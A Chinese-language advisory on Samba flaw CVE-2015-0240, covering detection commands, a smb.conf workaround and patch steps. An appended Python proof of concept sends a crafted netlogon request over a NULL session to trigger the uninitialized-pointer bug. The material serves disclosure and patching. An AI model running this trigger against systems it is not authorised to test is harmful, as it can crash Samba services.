0x01 前言

在大家欢天喜地度春节时,安全界近日又爆出Samba被发现存在远程命令执行漏洞(CVE-2015-0240)。

原因是在Samba的守护进程smbd中发现一个未初始化的指针使用缺陷;允许一个恶意的Samba客户端发送特定的netlogon数据包给smbd获得smbd运行的权限,而smbd的默认权限是root。

Samba是在Linux和Unix系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。

0ea5476add2554a6f75c54385353051a

这个漏洞影响范围从Samba 3.5.0到最新的开发版4.2.0 Release Candidate (RC) 4,主流的GNU/Linux发行版也受到了影响,RedHat官方公告确认Red Hat Enterprise Linux 5至7受到影响;而Red Hat Enterprise Linux 4系列samba (3.0.x) 不受影响,可谓不幸中万幸。(这么古老版本估计也就学校和运营商里还有吧~)

目前Debian\Ubuntu\RedHat等主流发行版本均已经修复,攻击POC也未正式公布出来。

samba

0x02 检测是否存在该漏洞

RedHat系列检查:

               rpm -qa|grep samba

Debian\Ubuntu系列检查:

               dpkg -l|grep samba

 

0x03临时修复方案

如果因为生产环境无法直连外网或是变更配置管理等原因而不便更新补丁,可以采取以下临时修复方法:

                  vi /etc/samba/smb.conf

找到[global]后下面添加:

           [global]

rpc_server:netlogon=disabled

          /etc/init.d/smb restart

PS:注意该临时解决方案只在Samba versions 4.0.0以上才有效,而在3.6.x和更早的版本上无效。

 

0x04在线修复方案

CentOS, Red Hat, Fedora等系列衍生版本(RHN建议):

              yum update samba

如果你使用RHEL 5和samba3x包:

       yum update samba3x

如果你使用RHEL 6和samba4包:

     yum update samba4

补丁更新完毕后需要重启smbd守护进程

RHEL 5 or 6环境下重启服务:

     service smb restart

RHEL 7环境下重启服务:

      systemctl restart smb.service

Debian, Ubuntu等系列衍生版本:

       sudo apt-get update && sudo apt-get install samba

service samba restart

0x05 离线修复方案

Centos6.5离线补丁修复方案:

先检查本地samba包安装了哪些相关包

      rpm -qa|grep samba

然后,到阿里源下载对应版本

           cat > update.txt << EOF

http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/libsmbclient-3.6.23-14.el6_6.x86_64.rpm

http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/samba-3.6.23-14.el6_6.x86_64.rpm

http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/samba-client-3.6.23-14.el6_6.x86_64.rpm

http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/samba-common-3.6.23-14.el6_6.x86_64.rpm

http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/samba-winbind-3.6.23-14.el6_6.x86_64.rpm

http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/samba-winbind-clients-3.6.23-14.el6_6.x86_64.rpm

EOF

进行后台断点下载补丁包

         wget -b -i update.txt -c

使用yum本地安装

         yum localinstall libsmbclient-* samba-*

或是rpm安装

       rpm -ivUh libsmbclient-* samba-*

Red Had系列衍生版本

      使用方法参考上文【Centos6.5离线补丁】的修补方法

0x06 参考来源

https://access.redhat.com/articles/1346913

https://access.redhat.com/security/cve/CVE-2015-0240

https://www.samba.org/samba/security/CVE-2015-0240

http://www.ubuntu.com/usn/usn-2508-1/

https://security-tracker.debian.org/tracker/CVE-2015-0240

 

Update20150301:

PoC for Samba vulnerabilty (CVE-2015-0240)

#!/usr/bin/python
"""
PoC for Samba vulnerabilty (CVE-2015-0240) by sleepya
This PoC does only triggering the bug

Reference:
- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/

#################
Analysis of samba-3.6.9-164.el6.i686 on centos6
#################

The _netr_ServerPasswordSet() function is called from api_netr_ServerPasswordSet()
function in "librpc/gen_ndr/srv_netlogon.c".

When looking in to assembly (comparing to source code) of 
_netr_ServerPasswordSet function, the creds address is "ebp-0x1c".

    00298c10 <_netr_ServerPasswordSet>:
      298c10:       55                      push   %ebp
      298c11:       89 e5                   mov    %esp,%ebp
          ...
      298c40:       e8 eb 30 e7 ff          call   10bd30 <become_root>
          ...
      298c4e:       8d 45 e4                lea    -0x1c(%ebp),%eax  ; creds address (ebp-0x1c, value is 0x40)
      298c51:       89 44 24 10             mov    %eax,0x10(%esp)   ; pass creds to netr_creds_server_step_check()
          ...
      298c78:       e8 a3 cd ff ff          call   295a20 <_netr_GetDcName+0x280> ; netr_creds_server_step_check
          ...
      298c83:       e8 78 2f e7 ff          call   10bc00 <unbecome_root>


Running the PoC against samba-3.6.9 on centos6 x86, the creds value in 
_netr_ServerPasswordSet() function is always 0x40. To tracking the uninitialized 
value of creds, I check the source in api_netr_ServerPasswordSet() function. 
I found the call to talloc_zero() function before calling to _netr_ServerPasswordSet()
function.

    r->out.return_authenticator = talloc_zero(r, struct netr_Authenticator);
    if (r->out.return_authenticator == NULL) {
        talloc_free(r);
        return false;
    }

    r->out.result = _netr_ServerPasswordSet(p, r);


I checked the assembly of _talloc_zero() function. The "ebp+0x1c" is set inside
this function. After tracking define and use, the value at "ebp+0x1c" is computed
from 2nd argument of _talloc_zero().


    00004ae0 <_talloc_zero>:
        4ae0:       55                      push   %ebp
        4ae1:       89 e5                   mov    %esp,%ebp
          ...
        4afa:       8b 7d 0c                mov    0xc(%ebp),%edi  ; 2nd argument to edi
          ...
        4b41:       8d 77 3f                lea    0x3f(%edi),%esi
        4b44:       83 e6 f0                and    $0xfffffff0,%esi
        4b47:       89 75 e4                mov    %esi,-0x1c(%ebp) ; same stack address as creds


The 2nd arguemnt of _talloc_zero() function is 'size'. The size value is 
sizeof(struct netr_Authenticator), which is 0xc bytes. That's why the uninitialized
value of creds in _netr_ServerPasswordSet() function is always 0x40 on centos6.

So code execution seems to be impossible for me on centos6 samba-3.6.9-164.el6.i686.

#################

"""
 
import sys
 
import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
 
if len(sys.argv) < 2:
    print("Usage: {} <target_ip>".format(sys.argv[0]))
    sys.exit(1)
    
target = sys.argv[1]
 
username = ''
password = ''
 
###
# impacket does not implement NetrServerPasswordSet
###
from impacket.dcerpc.v5.dtypes import *
 
# 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
class NetrServerPasswordSet(NDRCALL):
    opnum = 6
    structure = (
       ('PrimaryName',nrpc.PLOGONSRV_HANDLE),
       ('AccountName',WSTR),
       ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
       ('ComputerName',WSTR),
       ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
       ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
    )
 
class NetrServerPasswordSetResponse(NDRCALL):
    structure = (
       ('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR),
       ('ErrorCode',NTSTATUS),
    )
 
nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse)
 
 
###
# connect to target
###
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % target)
rpctransport.set_credentials('','')  # NULL session
rpctransport.set_dport(445)
# impacket has a problem with SMB2 dialect against samba4
# force to 'NT LM 0.12' only
rpctransport.preferred_dialect('NT LM 0.12')
 
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(nrpc.MSRPC_UUID_NRPC)
 
###
# request for session key
###
#resp = nrpc.hNetrServerReqChallenge(dce, NULL, target + '\x00', '12345678')
#resp.dump()
#serverChallenge = resp['ServerChallenge']
#sessionKey = nrpc.ComputeSessionKeyStrongKey(password, '12345678', serverChallenge, None)
sessionKey = '\x00'*16
 
 
###
# prepare ServerPasswordSet request
###
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
authenticator['Timestamp'] = 10
 
uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
uasNewPass['Data'] = '\x00'*16
 
request = NetrServerPasswordSet()
request['PrimaryName'] = NULL
request['AccountName'] = username+'\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
request['ComputerName'] = target+'\x00'
request['Authenticator'] = authenticator
request['UasNewPassword'] = uasNewPass
 
 
DCERPCSessionError = nrpc.DCERPCSessionError
try:
    resp = dce.request(request)
    print("no error !!! error code: 0xc0000225 is expected")
    print("seems not vulnerable")
    #resp.dump()
    dce.disconnect()
except DCERPCSessionError as e:
    # expect error_code: 0xc0000225 - STATUS_NOT_FOUND
    print("seems not vulnerable")
    #resp.dump()
    dce.disconnect()
except impacket.nmb.NetBIOSError as e:
    if e.args[0] == 'Error while reading from remote':
        print("connection lost!!!\nmight be vulnerable")
    else:
        raise

 

【文章来源Sobug漏洞时间 作者小狼 安全脉搏SP小编整理发布】

 

 

源链接

Hacking more

...